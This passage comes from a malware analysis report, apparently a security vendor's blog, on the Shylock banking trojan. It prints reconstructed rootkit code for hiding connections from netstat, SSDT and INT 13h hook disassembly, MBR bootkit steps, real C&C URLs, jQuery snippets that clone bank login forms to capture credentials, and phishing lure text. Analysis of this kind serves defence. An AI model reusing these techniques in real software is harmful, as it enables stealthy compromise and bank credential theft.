    Once these bytes are found within OSLOADER, the kernel patch from the sector #58 is applied to the loader, by directly overwriting its bytes:



    The patched loader code may now look like this (compare to the original loader code above):

    .text:00422A6A E8 C2 12 00 00         call    near ptr unk_47DE1
    .text:00422A6F B8 33 E2 09 00 mov eax, offset off_9E233
    .text:00422A74 FF D0 call eax ; off_9E233
    .text:00422A76 90 nop
    .text:00422A77 90 nop
    .text:00422A78 90 nop
    .text:00422A79 90 nop
    .text:00422A7A 90 nop
    .text:00422A7B 90 nop
    .text:00422A7C 90 nop
    .....

    The address off_9E233 points to the code loaded from the sectors #58-#61, and corresponds to the Kernel Patcher shellcode. Once it gets control within OSLOADER, it is executed in protected mode and starts invoking the consequent stages of the bootkit execution that lead to the eventual driver installation.

    Main Shylock Module

    Main Shylock module is an executable that injects its code into other processes, communicates with C&C and fetches configuration files and plug-ins, fully monitors browsers Internet Explorer and Firefox, and provides full backdoor access to the compromised system. It is the remote configuration files that define its logic, such as what online banking sessions to intercept and how.

    Shylock is a VM-aware threat: its anti-sandboxing code enumerates all the drivers installed on a compromised system, and for every driver it calculates a hash of its name; if the returned name hash is black-listed, Shylock will exit.

    For example, on a snapshot below, Shylock returns a hash of 0x2FE483F3 for an enumerated driver vmscsi.sys (part of VMWare). The code explicitly checks the hash against a hard-coded value of 0x2FE483F3, and in case of a match, it quits.



    In order to complicate code analysis and emulation, Shylock always calls APIs by their hashes. For instance, GetCommandLineA() is called with a stand-alone stub with a hard-coded API hash of 0xC66A1D2E:



    The API hash calculation algorithm is trivial:

    DWORD GetHash(char *szApi)
    {
    DWORD dwHash = 0;
    for (DWORD i = 0; i < strlen(szApi); i++)
    {
    BYTE b = szApi[i];
    dwHash ^= b;
    __asm
    {
    ror dwHash, 3
    }
    if (b == 0)
    {
    break;
    }
    }
    return dwHash;
    }

    Shylock spawns separate threads for different plugins. For example, it injects BackSocks server DLL into svchost.exe and starts a remote thread in it.

    The trojan checks the host process name, and depending on the name, it installs different user-mode hooks for the process.

    If the host process is FireFox browser (FIREFOX.EXE), it will load nss3.dll and nspr4.dll. Next, it will place these hooks:

    nspr4.dll:
    • PR_Read

    • PR_Write

    • PR_Close

    nss3.dll:
    • CERT_VerifyCertName

    • CERT_VerifyCertNow

    If the host process Internet Explorer (IEXPLORE.EXE), it will load mshtml.dll and then place following hooks:

    ws2_32.dll:
    • send

    wininet.dll:
    • HttpOpenRequestA/W

    • HttpSendRequestA/W

    • HttpSendRequestExA/W

    • InternetReadFile

    • InternetReadFileExA/W

    • InternetCloseHandle

    • InternetQueryDataAvailable

    • InternetSetStatusCallback

    In case the host process is Windows Explorer (EXPLORER.EXE) or system processes USERINIT.EXE or RUNDLL32.EXE, then it will hook:

    ntdll.dll:
    • NtCreateThread/ZwCreateThread

    • NtCreateUserProcess/ZwCreateUserProcess

    • NtEnumerateValueKey/ZwEnumerateValueKey

    • NtQueryDirectoryFile/ZwQueryDirectoryFile

    user32.dll:
    • ExitWindowsEx

    • GetMessageW

    kernel32.dll:
    • HeapDestroy

    advapi32.dll:
    • InitiateSystemShutdownExW

    The purpose of the hooks above is to inject into newly launched processes and to hide its file/registry entries. If the user shuts down Windows, the hook handler will attempt to recreate the files and the start-up registry entries, in order to persist even the user has partially deleted this threat.

    Once activated, Shylock deletes all Firefox cookies. Next, it searches for and overwrites user.js files found in %APPDATA%\Mozilla\Firefox\Profiles directory, thus manipulating the following security settings of the Firefox browser:

    security.enable_tls = false
    network.http.accept-encoding = ""
    secnetwork.http.accept-encodingurity.warn_viewing_mixed = false
    security.warn_viewing_mixed.show_once = false
    security.warn_submit_insecure = false
    security.warn_submit_insecure.show_once = false


    For example, whenever insecure form information is submitted, the "Security Warning" dialogue will not be displayed by Firefox - this will allow Shylock to have no objections from the browser when it tries to work with fake/redirected sites.

    It can also delete and upload Flash Player cookies (Local Shared Object - SOL files) stored in %APPDATA%\Macromedia\Flash Player\macromedia.com\support\flashplayer\sys directory. Flash cookies are persistent to traditional cookies removal by the end user, as they are not controlled through the cookie privacy controls in a browser.

    Internally, Shylock distinguishes itself running in one of 3 modes:
    • master

    • slave

    • plugin

    The 'master' is responsible for communication with the remote server, namely sending 'beacon' signals to the server, posting detailed computer information, reports/files, posting error logs, and polling the remote C&C server for configuration files on injection/redirection and other execution parameters. The 'master' may spawn a thread that will record the video of everything that occurs on the screen, and then upload the video to the remote server. In order to 'talk' to the 'slaves' and 'plugins', that are injected into other running processes, the 'master' uses Interprocess Communication Mechanism (IPC) via a named memory pipe that allows sharing data across all Shylock components running within the different processes.

    Shylock executable has a dedicated configuration stub in its image that is similar to ZeuS. For example, the C&C URLs and injections configuration file name are hard-coded in that stub as:
    • https://wguards.cc/ping.html

    • https://hiprotections.su/ping.html

    • https://iprotections.su/ping.html

    • /files/hidden7770777.jpg

    The usage of a stub suggests that Shylock executable is most likely compiled once with an empty stub, and then is dynamically 'patched' by a builder to embed different C&C URLs in it, with the string encryption routine being part of the builder.

    One of the configuration stub fields contains a timestamp of the date and time when the executable was generated. Shylock makes an attempt to avoid execution if current time is past the compilation time by more than 2 hours. But either due to a bug or a 'feature', the 2-hour time span ignores months, so it will run on a same day of every month of the same year, but only within the 2-hour 'window'. If Shylock is executed outside that window, it will quit. The 2-hour span means that Shylock allows only 'fresh' installations/executions of itself, when the C&C embedded into executable are live, or otherwise, it is risking to be exposed by constantly pinging non-existent (or taken down) domains, ringing all the bells within intrusion/anomaly detection systems.

    All strings are encrypted with a random key that is stored together with an encrypted string. The key is saved into 4 bytes, is followed by 4 zero-bytes, and then followed with the encrypted data. The code decrypts the strings on-the-fly: first, it makes an integrity check by applying the key to the encrypted data and making sure the original string has at least 2 characters in it. Next, it decrypts the string itself.

    The reconstructed string checker and decryptor would look like:

    int iGetEncodedStringLen(DWORD dwKey, char *szString)
    {
    int iResult;
    int iCount;

    if (szString)
    {
    iCount = 0;
    if ((BYTE)dwKey ^ *(LPBYTE)szString)
    {
    do
    {
    ++iCount;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    while ((BYTE)dwKey != *(LPBYTE)(iCount + szString));
    }
    iResult = iCount;
    }
    else
    {
    iResult = 0;
    }
    return iResult;
    }

    void DecodeString(void *szEncrypted, unsigned int dwKey, int iFlag)
    {
    char b1;
    char b2;
    bool bEndOfString;

    if (szEncrypted)
    {
    while (1)
    {
    b1 = *(LPBYTE)szEncrypted;
    b2 = dwKey ^ *(LPBYTE)szEncrypted;
    *(LPBYTE)szEncrypted = b2;
    if (iFlag == 1)
    {
    bEndOfString = b2 == 0;
    }
    else
    {
    if (iFlag)
    {
    goto skip_check;
    }
    bEndOfString = b1 == 0;
    }
    if (bEndOfString)
    {
    return;
    }
    skip_check:
    szEncrypted = (char *)szEncrypted + 1;
    dwKey = (845 * dwKey + 577) % 0xFFFFFFFF;
    }
    }
    }

    so that the encrypted C&C URL below:

    char szTest[] = "\xE7\xEB\xBB\x91"             // key
    "\x00\x00\x00\x00" // 4 zeroes
    "\x8F\xC8\xB9\x9A\xD0\x72\xC6\x79\x68\xF3"
    "\xB0\xE3\x29\xC4\x12\x40\x34\x0F\x92\x6A"
    "\x7A\x96\xBE\xA8\xE7\x30\xD8\xDE\xCB";

    can now be decrypted as:

    if (iGetEncodedStringLen(*(DWORD*)szTest, szTest + 8) > 0)
    {
    DecodeString(szTest + 8, *(DWORD*)szTest, 1);
    MessageBoxA(NULL, szTest + 8, NULL, MB_OK);
    }



    A stand-alone tool that relies on such decryptor allows decrypting and patching all 751 strings within the Shylock executable to further facilitate its static analysis.

    When Shylock communicates with the remote C&C server, it relies on HTTPS. Apart from that, the transferred data is encrypted with RC4 algorithm. Shylock takes one of C&C server URLs stored in its configuration stub, and prepends it with a random string, delimited with a dot. For example, wguards.cc becomes ei0nciwerq7q8.wguards.cc.

    The modified domain name will successfully resolve and will be used for communications. The same domain name will then be used to form an encryption key - Shylock appends a hard-coded string 'ca5f2abe' to the modified domain name, and then uses that string as a seed to generate a 256-byte RC4 key. The new RC4 key is then used to encrypt the transferred data. Once encrypted, the data is base-64 encoded, URL-escaped, and passed as a request to the C&C server within a z= URL parameter in it, e.g.:

    http://ei0nciwerq7q8.wguards.cc/ping.html?z=[encrypted_data]

    where [encrypted_data] is a result of:

    url_escape(base64_encode(RC_encrypt(url_escape(text_log), "ei0nciwerq7q8.wguards.ccca5f2abe")))

    The C&C server thus reads z= parameter contents, url-unescapes it, base64-decodes it, then RC4-decrypts it by using the server's own name with 'ca5f2abe' string appended and used as a password, then url-unescapes the resulting data which is a plain text.

    By taking the source code of the functions rc4_init() and rc4_crypt(), published earlier in this post, and then calling them with the modified domain name used as RC4 'password', Shylock traffic can now be fully decrypted, as demonstrated below:



    As seen on a picture, the posted 'cmpinfo' data is accompanied with a control sum and a hash to ensure data integrity ('key' and 'id'), it shows an installation mode ('master'), botnet name ('net2'), command name ('log'). The data includes system snapshot log that enlists running processes, installed applications, programs registered to run at startup, HDD/CPU system info, and many other details about the compromised OS. Shylock also recognises and reports all major antivirus/firewall products by querying a long list of process names and registry entries.

    The executable drops its own copy as a temp file, registers itself in a start-up registry key, then injects into svchost.exe and explorer.exe and runs a self-termination batch script, thus quitting its 'installation' phase of running.

    When Shylock requests configuration data from the server, it uses a 'cmd' (command) parameter set to 'cfg' (configuration).

    Let's manually construct a request 'net=net2&cmd=cfg', then feed it to the debugged code to calculate the 'key' and 'id' parameters for us. The resulting request will be:

    key=a323e7d52d&id=47E8ABF258AB82ECEF14F79B37177391&inst=master&net=net2&cmd=cfg

    The C&C we'll use will be https://y85rqmnuemzxu5z.iprotections.su/ping.html, so let's encrypt it with the RC4 key of 'y85rqmnuemzxu5z.iprotections.suca5f2abe', and then base64-encode it. The server will reply with the base64-encoded text to such request, transferred via HTTPS:



    Once this response is base64-decoded, it needs to be decrypted. The key used to encrypt this data is not the same as before. It is an 'id' value that was passed inside the request to the server, i.e. '47E8ABF258AB82ECEF14F79B37177391' in our example above. By using this value as RC4 'password', the server response can now be decrypted with the same tool as before. The decrypted file turns out to be an XML file with the configuration parameters in it:
    <hijackcfg>       <botnet name="net2"/>       <timer_cfg success="1200" fail="1200"/>       <timer_log success="600" fail="600"/>       <timer_ping success="1200" fail="1200"/>       <urls_server>             <url_server url="https://protections.cc/ping.html"/>             <url_server url="https://eprotections.su/ping.html"/>             <url_server url="https://iprotections.su/ping.html"/>       </urls_server>       ... and so on The XML enlists other plugin URLs, backconnect server IP and port number used by the reverse SOCKS proxy server connection for live VNC sessions, URL of the latest Shylock executable for an update. All the most important plugins contained in the configuration file were already explained before. The C&C list is refreshed with the new servers. The last remaining bit here is an 'httpinject' parameter specified as:
    <httpinject value="on" url="/files/hidden7770777.jpg" md5="c2ffb650839873a332125e7823d36f9e"/>
    It's the same name as the one specified in the executable stub along with 3 other C&C URLs, only now it's clear this file contains browser injection/redirection logic. So let's fetch this file by directly downloading it from C&C as a static file.

    The downloaded file is compressed with zlib v1.2.3; once decompressed, it shows all web inject logic employed by Shylock.

    Web Injects

    The web injects of Shylock work by intercepting online banking sessions and injecting extra HTML data. Analysis of the configuration data suggests that Shylock attacks mostly UK banks.

    There are several types of data that Shylock replaces on a web page. In one type, Shylock replaces the phone numbers provided at the bank's site. In the example below, the trojan modifies the bank's complaint form - an inset shows what the original form is replaced with:



    In other cases, the web pages themselves are not modified - only the enlisted phone numbers are replaced.

    Calling the replacement phone number leads to the following auto-reply message (actual audio recording):

    Auto Reply Message

    The injection of the phone numbers into the web sites are most likely designed to prevent resolution scenarios when customers receive a phishing email, or get concerned about the stolen funds or compromised accounts. In case of a security breach, the natural thing to do for many is to open the bank's website and look up the telephone numbers to call the bank and cancel the credit card, or lock other accounts. By accessing the bank site through the same compromised system, the issues that need to be addressed as quick as possible, might not be addressed when the time is critical.

    Apart from the phone number replacements, online banking login forms are simply blocked from being displayed by settings their CSS style into:
    style="display:none;"
    In another scenario, the web inject contains JQuery script that detects the login form on a page, then clones it with JQuery's .clone() command:
    var ombtrwcf756gsw = frm.clone(false).insertAfter(frm).show().attr('id', 'log-on-form');
    The screenshot below shows the result of such cloning:



    The original login form is then hidden from the user:
    jQuery(this).hide();
    Once the user fills out the cloned form with the login details and then presses its Login button, the entered details will populate the original form, that will then be submitted by clicking the original Login button, in order to allow the user to log on successfully:
    jQuery('#usr_name').val(lvltxt.qqqrcs06tl9npo);
    jQuery('#usr_password').val(lvltxt.pwd);
    jQuery('.login-button:first').find('div').click();
    At the same time, the fields of the cloned form will be posted to the attacker's server (cross-domain) in the background (with XDomainRequest()).

    The injects that collect personal information use tricky social engineering tactics, referring to existing malware as a leverage to build trust to the compromised session:

    Attention! Due recent new strains of malicious software such as Zeus and Spy Eye that have been targeting users of US Internet Banking website, we are forced to perform additional security checks on your computer.
    We are now checking your system to make sure that your connection is secure. It allows us to ensure that your system is not infected.
    Checking your settings frequently, allows you to keep your data intact. Keeping your Anti-Virus programs up to date is strongly recommended.
    This process undergoes an additional layer of protection, identifying you as the authorised account user. Interrupting the test may lead to a delay in accessing your account online.
    Checking browser settings...0%
    Checking log files...
    Checking encryption settings...


    Another example:

    A critical error has occurred. We could not recognize Your internet browser's security settings. This could be because You are using different web browser or different PC.
    In order to confirm Your identify, we will send you a text message with one time password.
    Below is the contact information we have on record for you that is eligible for the security check. If you have recently changed your contact information it may not be displayed.
    Note: For security reasons, we have hidden parts of your contact information below with "xxx"


    The injected scripts are relying on a powerful and modern script engine JQuery that allows Shylock to manipulate online banking sessions the way it needs to. The harvested credit card numbers are even queried against the remote attacker's site to undergo a validation. The scripts it injects rely on other scripts, dynamically downloaded from the malicious websites. That allows the attacker to manipulate Shylock logic by updating those scripts, without even touching the command-and-control servers.

    Conclusion

    What makes Shylock dangerous is that it's a classic 'Blended Threat' by definition: a combination of best-of-breed malware techniques that evolved over time:
    • Disk spreader, Skype spreader

    • Kernel-mode rootkit, Bootkit

    • VNC with Back-connect Proxy server

    • FTP credentials stealer

    • Banking Trojan

    Its technology is out there, 'in the wild', all it takes now is to change the inject scripts to start targeting any other bank in the world. As it already happened before with ZeuS, it is now a matter of time before it starts targeting other banks' customers.

  • Pray Before You Buy With Shylock

    Bae Systems Detica

    "I will buy with you, sell with you, talk with you, walk with you, and so following;   
    but I will not eat with you, drink with you, nor pray with you"    


    Shylock, 1.3.37   
    The Merchant of Venice, Shakespeare, 1564    


    Shylock-The-Trojan will indeed talk to you via Skype; walk with you while you browse Internet or while you buy or sell online. Ironically, this Man-in-the-browser (MitB) trojan considers the homeland of Shakespeare its target #1.

    Being a banking trojan that targets multiple banking institutions, it employs a plug-in architecture that allows complementing the main 'framework' with additional functionality. Shylock plug-ins are DLLs with the exports:
    • Destroy()

    • Init()

    • Start()

    This description enlists main Shylock's components, one-by-one.

    Driver

    Shylock driver is a kernel-mode rootkit that is designed to hide files, processes, registry entries, and traffic that is associated with Shylock. In addition to that, it also switches off Windows UAC by resetting the value:

    EnableLUA = 0x00000000
    HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System


    With UAC disabled, Windows Vista/7/8 will no longer prompt for consent or for credentials for a valid administrator account before launching a Shylock executable, allowing it to start silently.

    If the Windows version is Vista, 7, or 8, it will obtain "NSI proxy" driver and then it will hook its IRP_MJ_DEVICE_CONTROL dispatch routine. On a pre-Vista Windows OS, it will also hook IRP_MJ_DEVICE_CONTROL dispatch routine within TCP driver.

    The reason why Shylock hooks "NSI proxy" driver is to hide itself from netstat - a tool that is often used by technically savvy users to check for active connections that are present on a compromised PC: to inspect any open ports and to see what executables are holding any active connections. In those scenarios where Shylock engages its user-mode VNC component, the remote attacker will have full remote access to the compromised system: its graphical desktop will be fully relayed to the attacker, along with the keyboard and mouse events. The generated VNC traffic is thus relatively 'heavy' and so, there is a high chance it will eventually draw attention from the end user (e.g. the user might keep wondering why the modem LEDs are blinking so wildly). In that case, the netstat tool becomes one of the first tools to be run to see what's going with a system, and Shylock doesn't like that.

    Whenever netstat is run, its calls are marshalled into the kernel and are eventually handled by "NSI proxy" driver. The hook it installs is known as IRP-hook. The hook handler it places will monitor enumerated connections, and whenever it locates a TCP connection that involves any particular port number that it needs to hide (e.g. responsible for VNC traffic), it will remove such TCP connection entry from the enumerated list. The removal of element N from the list is made by rewriting its contents with the contents of the element N+1, and then decrementing the total number of list elements by 1. As a result, the list of enumerated connections that is returned by netstat will never contain any active connections that are held by Shylock's user-mode components.

    Here is the reconstructed logic of the hooker:

    if (MajorVersion < 6) // if pre-Vista, hook Tcp driver; otherwise, skip this step
    {
    RtlInitUnicodeString(&uniTcpDevice, L"\\Device\\Tcp");
    status = IoGetDeviceObjectPointer(&uniTcpDevice,
    1u,
    &FileObject,
    &DeviceObject); // return device object
    status2 = status;
    if (status >= 0) // if status is OK
    {
    driverTcpDevice = (int)DeviceObject->DriverObject; // get driver object
    IRP_MJ_DEVICE_CONTROL = driverTcpDevice + 0x70; // +0x70 is explained below
    fn_IRP_MJ_DEVICE_CONTROL = *(DWORD *)(driverTcpDevice + 0x70);
    if (fn_IRP_MJ_DEVICE_CONTROL) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_tcp;

    replace_original_IRP: // swap original pointer with the hook

    _InterlockedExchange((signed __int32 *)IRP_MJ_DEVICE_CONTROL,
    hook_IRP_MJ_DEVICE_CONTROL);
    return 0;
    }
    return 0;
    }
    exit:
    ms_exc.disabled = -1;
    return status;
    }

    RtlInitUnicodeString((PUNICODE_STRING)&uniNsiDrvName, L"\\Driver\\nsiproxy");
    status = ObReferenceObjectByName(&uniNsiDrvName,
    64,
    0,
    0,
    IoDriverObjectType,
    0,
    0,
    &pNsiDrvObj); // get driver object
    status2 = status;
    if (status < 0)
    {
    goto exit;
    }

    IRP_MJ_DEVICE_CONTROL = pNsiDrvObj + 0x70; // 0x70 means
    // MajorFunction[IRP_MJ_DEVICE_CONTROL]

    fn_IRP_MJ_DEVICE_CONTROL_2 = *(int (__stdcall **)(DWORD, DWORD))(pNsiDrvObj + 0x70);

    if (fn_IRP_MJ_DEVICE_CONTROL_2) // if the returned dispatch routine is Ok
    {
    hook_IRP_MJ_DEVICE_CONTROL = get_hook_IRP_MJ_DEVICE_CONTROL_nsiproxy;
    goto replace_original_IRP; // get the hooked DeviceIoControl,
    // and swap it with the original one
    }

    The +0x70 offset in the listing above is referencing MajorFunction[IRP_MJ_DEVICE_CONTROL] within the driver object.

    Here is why:
    the driver object structure is declared as:

    #define IRP_MJ_MAXIMUM_FUNCTION         0x1b
    ..
    typedef struct _DRIVER_OBJECT {
    /* 2 */ CSHORT Type; // offset = 0x00
    /* 2 */ CSHORT Size; // offset = 0x02
    /* 4 */ PDEVICE_OBJECT DeviceObject; // offset = 0x04
    /* 4 */ ULONG Flags; // offset = 0x08
    /* 4 */ PVOID DriverStart; // offset = 0x0c
    /* 4 */ ULONG DriverSize; // offset = 0x10
    /* 4 */ PVOID DriverSection; // offset = 0x14
    /* 4 */ PDRIVER_EXTENSION DriverExtension; // offset = 0x18
    /* 4 */ UNICODE_STRING DriverName; // offset = 0x1c
    /* 8 */ PUNICODE_STRING HardwareDatabase; // offset = 0x24
    /* 4 */ PFAST_IO_DISPATCH FastIoDispatch; // offset = 0x28
    /* 4 */ PDRIVER_INITIALIZE DriverInit; // offset = 0x2c
    /* 4 */ PDRIVER_STARTIO DriverStartIo; // offset = 0x30
    /* 4 */ PDRIVER_UNLOAD DriverUnload; // offset = 0x34
    /* 4 */ PDRIVER_DISPATCH
    MajorFunction[IRP_MJ_MAXIMUM_FUNCTION + 1]; // offset = 0x38
    } DRIVER_OBJECT;

    Its MajorFunction list contains IRP_MJ_MAXIMUM_FUNCTION + 1 = 0x1c elements, and its offset in the structure is 0x38. To find out what dispatch routine is references by the offset 0x70, the offset 0x70 needs to be subtracted with 0x38 (list's offset within the structure), and divided by 4 (size of each pointer within the list):

    (0x70 - 0x38) / 4 = 0x0e

    The 15th (0x0e) element of the dispatch routines is declared as:

    #define IRP_MJ_DEVICE_CONTROL 0x0e

    Knowing that, the source code of the Shylock driver can be reconstructed into a meaningful format, that can now be searched online to see where the Shylock authors may have stolen that code from. Why stolen? Given the complexity of this code on one hand, and the ROI (return-on-investment) principle on the other, malware products like Shylock often result from integration of the solutions that are already available on the 'market'. In the end of the day, it's much easier for them to find a code snippet online, and then plug into the malware.

    Shylock driver is not different - here is the snippet of code that they have 'borrowed'. By having access to the same source, we can compile and debug the very same code, only now having the privilege of stepping through the code with the help of a tool VisualDDK, and seeing exactly how Shylock driver places its hooks and how those hooks affect netstat.

    Below is a screenshot of the driver code in action. At the breakpoint seen below, the code is replacing the N-th TCP entry with the TCP entry N+1 (TcpEntry[i] <- data-blogger-escaped-code="">TcpEntry[i+1]):



    The local entry's port number in our example is 139 (or 0x8B00 after applying htons() to it). As a result, any connections that involve port 139 disappear from the netstat output:



    Apart from the IRP hooks placed by Shylock driver onto IRP_MJ_DEVICE_CONTROL dispatch routines of Tcp and Nsi Proxy drivers, it also hooks System Service Descriptor Table (SSDT). The functions it hooks are:
    • ZwEnumerateKey

    • ZwEnumerateValueKey

    • ZwQuerySystemInformation

    • ZwQueryDirectoryFile

    • ZwAllocateVirtualMemory

    The KeServiceDescriptorTable patching is surrounded with a conventional cli/sti blocks: the cli-block disables interrupts and removes the write protection, the sti-block restores everything back:

    .text:000130AC   cli                     ; disable interrupts
    .text:000130AD mov eax, cr0 ; get CR0
    .text:000130B0 and eax, 0FFFEFFFFh ; reset Write Protect flag, when clear,
    ; allows supervisor-level procedures
    ; to write into read-only pages
    .text:000130B5 mov cr0, eax ; save it back into CR0

    .text:000130B8 mov eax, KeServiceDescriptorTable
    .text:000130BD mov eax, [eax]
    .text:000130BF mov dword ptr [ecx+eax], offset hook_ZwEnumerateKey
    .text:000130C6 mov eax, KeServiceDescriptorTable
    .text:000130CB mov eax, [eax]
    .text:000130CD mov ecx, [ebp+var_14]
    .text:000130D0 mov dword ptr [edx+eax], offset hook_ZwEnumerateValueKey
    .text:000130D7 mov eax, KeServiceDescriptorTable
    .text:000130DC mov eax, [eax]
    .text:000130DE mov dword ptr [esi+eax], offset hook_ZwQuerySystemInformation
    .text:000130E5 mov eax, KeServiceDescriptorTable
    .text:000130EA mov eax, [eax]
    .text:000130EC mov dword ptr [ecx+eax], offset hook_ZwQueryDirectoryFile

    .text:000130F3 mov eax, cr0 ; get CR0 (with the cleared WP flag)
    .text:000130F6 or eax, offset _10000H ; set Write Protect flag to prevent
    ; writing into read-only pages;
    .text:000130FB mov cr0, eax ; save it back into CR0
    .text:000130FE sti ; allow interrupts

    The hook_ZwQuerySystemInformation is handling those ZwQuerySystemInformation() calls that query for SystemProcessInformation type of system information, and is basically a rip-off of Greg Hoglund's process hider.

    Skype Replicator

    The Skype replicator component of Shylock relies on Skype Control API that uses window messages for communication with Skype.

    First, it broadcasts SkypeControlAPIDiscover message to find the Skype window handle. If Skype is running, it will respond with SkypeControlAPIAttach message.

    Next, Shylock starts controlling Skype via Control API by sending it window messages. When Skype handles the communication request coming from Shylock, it asks the user if the application in question should be allowed access to Skype or not. Shylock locates the window within Skype application that contains 2 horizontal buttons - first button is Allow, second is Deny. Next, it will start sending clicks to this window, aiming coordinates in a loop from left to right, top to bottom - this will eventually click the Allow button as it's located left to Deny button:



    Once Shylocks tricks Skype into accepting it as a client, it starts sending out messages to the contacts found in Skype. Any messages that Skype sends are stored in Skype's main.db file, which is a standard SQLite database. Shylock accesses this database and deletes its messages and file transfers so that the user could not find them in the history.

    Shylock also tries to switch off sound alert settings within Skype by sending 'clicks' to its option window so that all the communications it initiates are carried out silently, without drawing any attention from the end user.

    The Skype component of Shylock communicates with the remote server by submitting it installation details of Skype and fetching the configuration data for its own functionality.

    BackSocks

    BackSocks component of Shylock is a fully functional reverse (backconnect) SOCKS proxy server that is based on the source code of a legitimate proxy server 3Proxy, developed by 3APA3A ('zaraza', or 'contagion").

    The SOCKS proxy allows the external attackers to tunnel their traffic through the compromised PC into internal (corporate) network. The connection with the proxy server is not established in a classic way where a backdoor trojan opens up a port and accepts incoming connections from the remote attacker - these schemes no longer work due to the wide adoption of NAT/firewalls. Instead, the SOCKS proxy initiates the reverse connection to the remote server (back-connects to it), and once that connection is established, the proxy server starts tunneling the traffic into internal network, as if the external attacker was physically located within the internal network.

    By having access to the internal network through the SOCKS proxy, Shylock may access internal resources such as mail server, source control server, domain controllers etc.



    Ability to hide from netstat any TCP connections held by the proxy with the remote attacker allows avoiding early detection of anomalies by network administrators.

    Bootkit

    In order to install the driver, Shylock engages a bootkit module that relies on an infection of the Master Boot Record (MBR). The bootkit module is a PE-executable that is protected with a run-time packer.

    When run, the bootkit executable first checks if the following files can be open, and if not (e.g. these files do not exist), it continues:
    • C:\GRLDR

    • C:\XELDZ

    The bootkit can be started from the following start-up registry entry:

    FlashPlayerUpdate = %PATH_TO_BOOTKIT%
    HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce


    Next, it enumerates first 8 physical drives (#0 - #7) connected to the local computer, starting from the driver #0:
    \\.\PhysicalDrive0

    For every drive, it invokes the MBR infection routine. The routine starts from reading the drive geometry parameters with DeviceIoControl(IOCTL_DISK_GET_DRIVE_GEOMETRY).

    Next, it reads the first 512 bytes from the sector #0 (MBR), and then checks if its last 2 bytes are 55AA - a signature that identifies a bootable drive.

    If the drive is not bootable, it is skipped:

    .text:004024E9   xor     ebx, ebx        ; EBX is 0
    ...
    .text:0040255E push ebx ; dwMoveMethod = 0
    .text:0040255F push ebx ; lpDistanceToMoveHigh = 0
    .text:00402560 push ebx ; lDistanceToMove = 0
    .text:00402561 push edi ; hFile
    .text:00402562 call ds:SetFilePointer ; set pointer at offset 0
    .text:00402568 push ebx ; lpOverlapped
    .text:00402569 lea eax, [ebp+NumberOfBytesRead]
    .text:0040256C push eax ; lpNumberOfBytesRead
    .text:0040256D push 512 ; nNumberOfBytesToRead
    .text:00402572 lea eax, [ebp+Buffer]
    .text:00402578 push eax ; lpBuffer
    .text:00402579 push edi ; hFile
    .text:0040257A call ds:ReadFile ; read 512 bytes
    .text:00402580 call esi ; GetLastError
    .text:00402582 test eax, eax
    .text:00402584 jnz next_drive ; if error, skip it
    .text:0040258A mov eax, 0AA55h ; compare last 2 bytes
    .text:0040258F cmp [ebp+_510], ax ; (512-2) with 55AA-signature
    .text:00402596 jnz short close_handle_next_drive

    If the drive is bootable, the bootkit will encrypt the original MBR copy with a random XOR key, and then, it will save the encrypted MBR copy into the sector #57.

    The bootkit stores its components in the 4 sectors: #58, #59, #60, #61, and also a number of sectors closer to the end of the physical drive (at a distance of around 17K-18K sectors before the end).

    Once it writes all the sectors, it tries to delete itself by running the following command with the command line interpreter:
    /c ping -n 2 127.0.0.1 & del /q "%PATH_TO_BOOTKIT%" >> nul

    The ping-command with -n switch is used here as a method for the command line interpreter to wait for 2 seconds before it attempts to delete the bootkit executable.

    Master Boot Record (MBR)

    The MBR is infected with a code that is similar to other bootkits such as Mebroot or eEye BootRoot.

    MBR code performs the following actions:

    First, it reads 4 sectors: #58, #59, #60, #61 into the memory at 0x7E00 that immediately follows the MBR code loaded at address 0x7c00. Next, it allocates a new area of memory and reads there 5 sectors (512 bytes each, 2,560 bytes in total) starting from the loaded MBR code, and following with the 4 sectors that it just read. It then passes control into the code copied into the newly allocated area.

    The new memory area has address 0x9E000, that is formed as segment register * 16 + offset of 0:
    0x9E00 << 4 + 0 = 0x9E000.

    Next, the code locates the XOR key that is stored at the offset 0x5c. The key is random, and it's implanted by the bootkit. The infected MBR code will then read the contents of the sector #57 into MBR, and use the same XOR key to decrypt it, thus fully restoring the original MBR in the sector #0.

    Still running in the newly allocated area, the code will then restore remaining bytes from its own offset 0x10D till 0x18F, by applying the same XOR key. Once restored, these bytes turn out to be a hook handler code for the interrupt (INT) #13h - this interrupt is used to read sectors.

    Once the INT 13h hook handler is decoded, the original INT 13h vector is replaced with the vector of the decoded one, and after that, the code jumps back into the original, fully restored MBR in sector 0:

    MEM:9E0F0   mov   eax, dword ptr ds:offset_4c ; 4Ch = 13h * 4
    MEM:9E0F4 mov dword ptr es:INT13HANDLER, eax ; save into JMP instr below
    MEM:9E0F9 mov word ptr ds:offset_4c, offset Int13Hook ; place the hook
    MEM:9E0FF mov word ptr ds:offset_4e, es
    MEM:9E103 sti
    MEM:9E104 popad
    MEM:9E106 pop ds
    MEM:9E107 pop sp
    MEM:9E108 jmp start ; just to BOOTORG (0000h:7C00h)

    With the INT 13h replaced, the original vector stored at ds:offset_4c will now contain 9E10D - the address of the INT 13h hook handler within the allocated conventional memory. As the control is passed back into original MBR, the system will start booting normally and the hooked INT 13h call will eventually be invoked by MBR code - this is when the hook handler will be activated.

    The INT 13H hook handler is interested in 2 types of INT 13 - normal sector read and an extended one used with the larger disks, as shown below:

    MEM:9E10D Int13Hook proc far
    MEM:9E10D pushf ; handle two types of INT 13 below:
    MEM:9E10E cmp ah, 42h ; 'B' ; 1) IBM/MS INT 13 Extensions - EXTENDED READ
    MEM:9E111 jz short Int13Hook_ReadRequest
    MEM:9E113 cmp ah, 2 ; 2) DISK - READ SECTOR(S) INTO MEMORY
    MEM:9E116 jz short Int13Hook_ReadRequest
    MEM:9E118 popf
    MEM:9E119
    MEM:9E119 [jmp opcode, followed with the original INT 13 vector]
    MEM:9E11A INT13HANDLER db 4 dup(0) ; original vector is stored here
    MEM:9E11E
    MEM:9E11E Int13Hook_ReadRequest:
    MEM:9E11E mov byte ptr cs:INT13LASTFUNCTION, ah
    MEM:9E123 popf
    MEM:9E124 pushf ; push Flags, simulating INT
    MEM:9E125 call dword ptr cs:INT13HANDLER ; call original handler
